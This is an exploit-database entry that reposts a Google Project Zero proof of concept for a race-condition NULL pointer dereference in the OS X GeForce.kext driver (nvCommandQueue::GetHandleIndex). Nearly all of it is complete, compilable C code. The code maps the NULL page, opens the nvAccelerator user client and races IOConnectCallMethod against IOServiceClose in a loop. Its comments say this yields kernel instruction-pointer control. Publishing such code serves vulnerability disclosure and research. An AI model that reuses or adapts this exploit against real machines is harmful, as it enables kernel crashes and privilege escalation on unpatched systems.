Apple Mac OSX - Kernel Exploitable Null Pointer Dereference in nvCommandQueue::GetHandleIndex in GeF

2016-06-10T00:00:00
ID 1337DAY-ID-26047
Type zdt
Reporter Google Security Research
Modified 2016-06-10T00:00:00

Description

Exploit for macOS platform in category dos / poc

                                        
                                            /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784
 
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
 
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
 
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
 
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
 
// ianbeer
 
// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
 
/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
 
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
 
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
 
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
 
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <IOKit/IOKitLib.h>
 
#include <libkern/OSAtomic.h>
 
#include <mach/thread_act.h>
 
#include <pthread.h>
 
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
     
unsigned int selector = 0;
 
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
 
uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 
 
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
 
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
 
io_connect_t global_conn = MACH_PORT_NULL;
 
void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0x100; // GetHandleData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}
 
void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}
 
OSSpinLock lock = OS_SPINLOCK_INIT;
 
void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }
 
  // usleep(1);
 
  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}
 
mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;
 
  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }
 
  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }
 
  io_service_t service = IOIteratorNext(iterator);
 
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);
 
 
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }
 
  printf("got userclient connection: %x\n", conn);
 
  return conn;
}
 
void poc() {
  OSSpinLockLock(&lock);
 
  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);
 
 
  mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
   
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
   
  pthread_join(t, NULL);
}
 
int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }
 
  for (;;) {
    poc();
  }
 
  return 0;
}

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